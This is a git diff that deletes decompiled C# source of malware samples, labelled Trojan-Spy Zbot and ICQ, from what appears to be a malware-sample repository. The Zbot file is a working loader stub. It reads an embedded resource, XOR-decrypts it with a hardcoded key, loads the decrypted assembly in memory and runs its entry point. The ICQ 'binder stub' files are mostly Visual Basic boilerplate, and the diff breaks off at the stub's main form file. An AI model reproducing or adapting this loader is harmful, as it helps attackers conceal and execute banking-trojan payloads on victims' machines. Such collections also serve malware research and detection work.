TNLTeokaiHhzVODTNLTeokaiHhzVODTNLTeokaiHhzVODTNL - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/MNtJNtuVmVIvLNzGAlMm.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/MNtJNtuVmVIvLNzGAlMm.cs deleted file mode 100644 index aa9f9176..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/MNtJNtuVmVIvLNzGAlMm.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CzZJctdbcFdNYdqlmFon.MNtJNtuVmVIvLNzGAlMm -// Assembly: done1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 95F3823D-ECE0-4C81-8FA6-19B9E1C1344C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695.exe - -using System; -using System.Reflection; -using System.Resources; -using System.Text; -using System.Threading; - -namespace CzZJctdbcFdNYdqlmFon -{ - internal class MNtJNtuVmVIvLNzGAlMm - { - private static string hJmSlxKQNNcAOnPfdUbo = string.Empty; - private static byte[] ekOZsuYNAKxKFivajiZG = (byte[]) null; - private static MethodInfo xkSvUtryEdYvxaayhvYE; - private static int SEyEkqDTLVcpnkOXhyke = 0; - - private static void Main(string[] args) - { - MNtJNtuVmVIvLNzGAlMm.QMJnbzlXSwQkXtPPipWJ(); - MNtJNtuVmVIvLNzGAlMm.XhPgWGckDIJaTcwadeHo(); - } - - private static void QMJnbzlXSwQkXtPPipWJ() => MNtJNtuVmVIvLNzGAlMm.hJmSlxKQNNcAOnPfdUbo = new ResourceManager("FZyIKqFyuZaIAgE", Assembly.GetExecutingAssembly()).GetString("ATMuZKkLbOpXLinbtDPS"); - - private static void XhPgWGckDIJaTcwadeHo() - { - MNtJNtuVmVIvLNzGAlMm.ekOZsuYNAKxKFivajiZG = MNtJNtuVmVIvLNzGAlMm.TetYjgZWZcqCWLjGxkvN(Encoding.Default.GetBytes(MNtJNtuVmVIvLNzGAlMm.hJmSlxKQNNcAOnPfdUbo), Encoding.Default.GetBytes("hzVODTNLTeokaiH")); - MNtJNtuVmVIvLNzGAlMm.mstQiTnnDJefHhLIptEO(); - } - - private static void mstQiTnnDJefHhLIptEO() - { - Thread thread = new Thread(new ThreadStart(MNtJNtuVmVIvLNzGAlMm.hluoDEWNpixpkOAKPYRz)); - thread.SetApartmentState(ApartmentState.STA); - thread.Start(); - } - - private static void hluoDEWNpixpkOAKPYRz() - { - MNtJNtuVmVIvLNzGAlMm.hLjRGtdyvNLQDlyaYgmC(); - string[] strArray = new string[0]; - MNtJNtuVmVIvLNzGAlMm.xkSvUtryEdYvxaayhvYE.Invoke((object) null, new object[1] - { - (object) strArray - }); - } - - private static void hLjRGtdyvNLQDlyaYgmC() => MNtJNtuVmVIvLNzGAlMm.xkSvUtryEdYvxaayhvYE = Assembly.Load(MNtJNtuVmVIvLNzGAlMm.ekOZsuYNAKxKFivajiZG).EntryPoint; - - public static byte[] TetYjgZWZcqCWLjGxkvN( - byte[] eVDeoiElBXIoXQNtEVGc, - byte[] qmtmCqmLneAtPaMCGOhL) - { - MNtJNtuVmVIvLNzGAlMm.PfWGuJxGnIUlOVpRArBX(qmtmCqmLneAtPaMCGOhL); - for (int index = 0; index < eVDeoiElBXIoXQNtEVGc.Length; ++index) - { - byte num = qmtmCqmLneAtPaMCGOhL[index % MNtJNtuVmVIvLNzGAlMm.SEyEkqDTLVcpnkOXhyke]; - eVDeoiElBXIoXQNtEVGc[index] = Convert.ToByte((int) eVDeoiElBXIoXQNtEVGc[index] ^ (int) num); - } - return eVDeoiElBXIoXQNtEVGc; - } - - public static void PfWGuJxGnIUlOVpRArBX(byte[] mACcXewSJeBMyIfrtsog) => MNtJNtuVmVIvLNzGAlMm.SEyEkqDTLVcpnkOXhyke = mACcXewSJeBMyIfrtsog.Length; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.csproj b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.csproj deleted file mode 100644 index ea9320d1..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.csproj +++ /dev/null @@ -1,40 +0,0 @@ - - - - - Debug - AnyCPU - {A2E7FADF-1B10-4E9D-8004-E7B5A3F869F3} - WinExe - done1 - 0.0.0.0 - CzZJctdbcFdNYdqlmFon - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.sln b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.sln deleted file mode 100644 index f9ae1213..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/Trojan-Spy.MSIL.Zbot.dnp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "done1", "Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695.csproj", "{A2E7FADF-1B10-4E9D-8004-E7B5A3F869F3}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {A2E7FADF-1B10-4E9D-8004-E7B5A3F869F3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A2E7FADF-1B10-4E9D-8004-E7B5A3F869F3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A2E7FADF-1B10-4E9D-8004-E7B5A3F869F3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A2E7FADF-1B10-4E9D-8004-E7B5A3F869F3}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/AssemblyInfo.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/AssemblyInfo.cs deleted file mode 100644 index 7d9dafe8..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyCompany("")] -[assembly: Guid("530708d4-ce4a-4314-b1bc-bb2bf06fc787")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyApplication.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyApplication.cs deleted file mode 100644 index 328582c2..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.My.MyApplication -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace simple_binder_1._0_stub.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = true; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.hodown; - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyComputer.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyComputer.cs deleted file mode 100644 index 7bb41f8b..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.My.MyComputer -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace simple_binder_1._0_stub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyProject.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyProject.cs deleted file mode 100644 index 3de25108..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.My.MyProject -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace simple_binder_1._0_stub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public hodown m_hodown; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public hodown hodown - { - [DebuggerNonUserCode] get - { - this.m_hodown = MyProject.MyForms.Create__Instance__(this.m_hodown); - return this.m_hodown; - } - [DebuggerNonUserCode] set - { - if (value == this.m_hodown) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_hodown); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettings.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettings.cs deleted file mode 100644 index 558c41da..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.My.MySettings -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace simple_binder_1._0_stub.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettingsProperty.cs deleted file mode 100644 index 317a00e8..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.My.MySettingsProperty -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace simple_binder_1._0_stub.My -{ - [CompilerGenerated] - [HideModuleName] - [StandardModule] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/Resources/Resources.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/Resources/Resources.cs deleted file mode 100644 index addf830a..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.My.Resources.Resources -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace simple_binder_1._0_stub.My.Resources -{ - [HideModuleName] - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) simple_binder_1._0_stub.My.Resources.Resources.resourceMan, (object) null)) - simple_binder_1._0_stub.My.Resources.Resources.resourceMan = new ResourceManager("simple_binder_1._0_stub.Resources", typeof (simple_binder_1._0_stub.My.Resources.Resources).Assembly); - return simple_binder_1._0_stub.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => simple_binder_1._0_stub.My.Resources.Resources.resourceCulture; - set => simple_binder_1._0_stub.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Resources.resx b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.csproj b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.csproj deleted file mode 100644 index b80007f6..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {D63C89B4-D158-452B-B466-9751989F61F2} - WinExe - stub - 0.0.0.0 - simple_binder_1._0_stub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.sln b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.sln deleted file mode 100644 index 6dcc3a18..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.csproj", "{D63C89B4-D158-452B-B466-9751989F61F2}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D63C89B4-D158-452B-B466-9751989F61F2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D63C89B4-D158-452B-B466-9751989F61F2}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D63C89B4-D158-452B-B466-9751989F61F2}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D63C89B4-D158-452B-B466-9751989F61F2}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.cs b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.cs deleted file mode 100644 index 3ac238fc..00000000 --- 